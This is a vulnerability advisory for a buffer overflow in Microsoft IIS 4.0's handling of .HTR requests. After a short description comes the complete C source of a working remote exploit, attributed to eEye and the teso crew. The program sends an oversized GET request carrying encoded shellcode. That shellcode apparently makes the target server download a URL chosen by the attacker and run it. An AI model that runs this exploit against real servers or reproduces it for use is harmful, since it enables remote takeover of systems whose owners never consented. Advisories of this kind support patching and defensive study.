source: http://www.securityfocus.com/bid/307/info
Microsoft IIS reported prone to a buffer overflow vulnerability in the way IIS handles requests for several file types that require server side processing. This vulnerability may allow a remote attacker to execute arbitrary code on the target machine.
IIS supports a number of file extensions that require futher processing. When a request is made for one of these types of files a specific DLL processes it. A stack buffer overflow vulnerability exists in several of these DLL's while handling .HTR, .STM or .IDC extensions.
/* iis 4.0 exploit
* by eeye security
*
* ported to unix/C by the teso crew.
*
* shoutouts to #hax and everyone else knowing us...
* you know who you are.
*
* gcc -o tesoiis tesoiis.c -Wall
*/
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <net/if.h>
#include <netinet/in.h>
#include <errno.h>
#include <fcntl.h>
#include <stdarg.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int net_connect (struct sockaddr_in *cs, char *server,
unsigned short int port, char *sourceip,
unsigned short int sourceport, int sec);
void net_write (int fd, const char *str, ...);
unsigned long int net_resolve (char *host);
char stuff[] = "\x42\x68\x66\x75\x41\x50"; /* "!GET /" */
#define URL_OFFSET 1055
char front[] = "GET /AAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"\x41\x41\x41\x41\x41\x41\xb0\x87\x67\x68\xb0\x87"
"\x67\x68\x90\x90\x90\x90\x58\x58\x90\x33\xc0\x50"
"\x5b\x53\x59\x8b\xde\x66\xb8\x21\x02\x03\xd8\x32"
"\xc0\xd7\x2c\x21\x88\x03\x4b\x3c\xde\x75\xf4\x43"
"\x43\xba\xd0\x10\x67\x68\x52\x51\x53\xff\x12\x8b"
"\xf0\x8b\xf9\xfc\x59\xb1\x06\x90\x5a\x43\x32\xc0"
"\xd7\x50\x58\x84\xc0\x50\x58\x75\xf4\x43\x52\x51"
"\x53\x56\xb2\x54\xff\x12\xab\x59\x5a\xe2\xe6\x43"
"\x32\xc0\xd7\x50\x58\x84\xc0\x50\x58\x75\xf4\x43"
"\x52\x53\xff\x12\x8b\xf0\x5a\x33\xc9\x50\x58\xb1"
"\x05\x43\x32\xc0\xd7\x50\x58\x84\xc0\x50\x58\x75"
"\xf4\x43\x52\x51\x53\x56\xb2\x54\xff\x12\xab\x59"
"\x5a\xe2\xe6\x33\xc0\x50\x40\x50\x40\x50\xff\x57"
"\xf4\x89\x47\xcc\x33\xc0\x50\x50\xb0\x02\x66\xab"
"\x58\xb4\x50\x66\xab\x58\xab\xab\xab\xb1\x21\x90"
"\x66\x83\xc3\x16\x8b\xf3\x43\x32\xc0\xd7\x3a\xc8"
"\x75\xf8\x32\xc0\x88\x03\x56\xff\x57\xec\x90\x66"
"\x83\xef\x10\x92\x8b\x52\x0c\x8b\x12\x8b\x12\x92"
"\x8b\xd7\x89\x42\x04\x52\x6a\x10\x52\xff\x77\xcc"
"\xff\x57\xf8\x5a\x66\x83\xee\x08\x56\x43\x8b\xf3"
"\xfc\xac\x84\xc0\x75\xfb\x41\x4e\xc7\x06\x8d\x8a"
"\x8d\x8a\x81\x36\x80\x80\x80\x80\x33\xc0\x50\x50"
"\x6a\x48\x53\xff\x77\xcc\xff\x57\xf0\x58\x5b\x8b"
"\xd0\x66\xb8\xff\x0f\x50\x52\x50\x52\xff\x57\xe8"
"\x8b\xf0\x58\x90\x90\x90\x90\x50\x53\xff\x57\xd4"
"\x8b\xe8\x33\xc0\x5a\x52\x50\x52\x56\xff\x77\xcc"
"\xff\x57\xec\x80\xfc\xff\x74\x0f\x50\x56\x55\xff"
"\x57\xd8\x80\xfc\xff\x74\x04\x85\xc0\x75\xdf\x55"
"\xff\x57\xdc\x33\xc0\x40\x50\x53\xff\x57\xe4\x90"
"\x90\x90\x90\xff\x6c\x66\x73\x6f\x66\x6d\x54\x53"
"\x21\x80\x8d\x84\x93\x86\x82\x95\x21\x80\x8d\x98"
"\x93\x8a\x95\x86\x21\x80\x8d\x84\x8d\x90\x94\x86"
"\x21\x80\x8d\x90\x91\x86\x8f\x21\x78\x8a\x8f\x66"
"\x99\x86\x84\x21\x68\x8d\x90\x83\x82\x8d\x62\x8d"
"\x8d\x90\x84\x21\x78\x74\x70\x64\x6c\x54\x53\x21"
"\x93\x86\x84\x97\x21\x94\x86\x8f\x85\x21\x94\x90"
"\x84\x8c\x86\x95\x21\x84\x90\x8f\x8f\x86\x84\x95"
"\x21\x88\x86\x95\x89\x90\x94\x95\x83\x9a\x8f\x82"
"\x8e\x86\x21\x90\x98\x8f\x4f\x86\x99\x86\x21"
/* stick it in here */
"\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
"\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
"\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
"\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
"\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
"\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
"\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21\x21"
"\x21\x21\x21"
".htr HTTP/1.0";
void
usage (void)
{
printf ("usage: ./tesoiis host port url\n");
exit (EXIT_FAILURE);
}
int
main (int argc, char *argv[])
{
/* yadda,yadda.. you can try exploiting our exploit!!
* update: hmm.. is this exploitable? gets EIP touched by exit()?
* gotta check this later...
*/
char host[256], url[256];
int port,sd,t = 0;
int m = 0;
char *cc, *pfft;
struct sockaddr_in cs;
printf ("teso crew IIS exploit.. shellcode by eEye.\n");
printf ("------------------------------------------\n");
if (argc < 4)
usage();
strcpy (host, argv[1]);
strcpy (url, argv[3]);
port = atoi (argv[2]);
if ((port < 1) || (port > 65535))
usage();
cc = url;
pfft = front + URL_OFFSET;
while (*cc) {
if (*cc == '/' && 0 == t) {
memcpy (pfft, stuff, 6);
pfft += 6;
t = 1;
} else {
*pfft = *cc + 0x21;
pfft++;
}
cc++;
m += 1;
}
printf ("Host: %s Port: %d Url: %s\n", host, port, url);
printf ("Connecting... ");
fflush (stdout);
sd = net_connect (&cs, host, port, NULL, 0, 30);
if (sd < 1) {
printf ("failed!\n");
exit (EXIT_FAILURE);
}
printf ("done.. sending shellcode..");
fflush (stdout);
net_write (sd, "%s\n\n", front);
printf ("done.. closing fd!\n");
close (sd);
printf ("%s\n", front);
exit (EXIT_SUCCESS);
}
int
net_connect (struct sockaddr_in *cs, char *server, unsigned short int port, char *sourceip,
unsigned short int sourceport, int sec)
{
int n, len, error, flags;
int fd;
struct timeval tv;
fd_set rset, wset;
/* first allocate a socket */
cs->sin_family = AF_INET;
cs->sin_port = htons (port);
fd = socket (cs->sin_family, SOCK_STREAM, 0);
if (fd == -1)
return (-1);
if (!(cs->sin_addr.s_addr = net_resolve (server))) {
close (fd);
return (-1);
}
flags = fcntl (fd, F_GETFL, 0);
if (flags == -1) {
close (fd);
return (-1);
}
n = fcntl (fd, F_SETFL, flags | O_NONBLOCK);
if (n == -1) {
close (fd);
return (-1);
}
error = 0;
n = connect (fd, (struct sockaddr *) cs, sizeof (struct sockaddr_in));
if (n < 0) {
if (errno != EINPROGRESS) {
close (fd);
return (-1);
}
}
if (n == 0)
goto done;
FD_ZERO(&rset);
FD_ZERO(&wset);
FD_SET(fd, &rset);
FD_SET(fd, &wset);
tv.tv_sec = sec;
tv.tv_usec = 0;
n = select(fd + 1, &rset, &wset, NULL, &tv);
if (n == 0) {
close(fd);
errno = ETIMEDOUT;
return (-1);
}
if (n == -1)
return (-1);
if (FD_ISSET(fd, &rset) || FD_ISSET(fd, &wset)) {
if (FD_ISSET(fd, &rset) && FD_ISSET(fd, &wset)) {
len = sizeof(error);
if (getsockopt(fd, SOL_SOCKET, SO_ERROR, &error, &len) < 0) {
errno = ETIMEDOUT;
return (-1);
}
if (error == 0) {
goto done;
} else {
errno = error;
return (-1);
}
}
} else
return (-1);
done:
n = fcntl(fd, F_SETFL, flags);
if (n == -1)
return (-1);
return (fd);
}
unsigned long int
net_resolve (char *host)
{
long i;
struct hostent *he;
i = inet_addr(host);
if (i == -1) {
he = gethostbyname(host);
if (he == NULL) {
return (0);
} else {
return (*(unsigned long *) he->h_addr);
}
}
return (i);
}
void
net_write (int fd, const char *str, ...)
{
char tmp[8192];
va_list vl;
int i;
va_start(vl, str);
memset(tmp, 0, sizeof(tmp));
i = vsnprintf(tmp, sizeof(tmp), str, vl);
va_end(vl);
send(fd, tmp, i, 0);
return;
}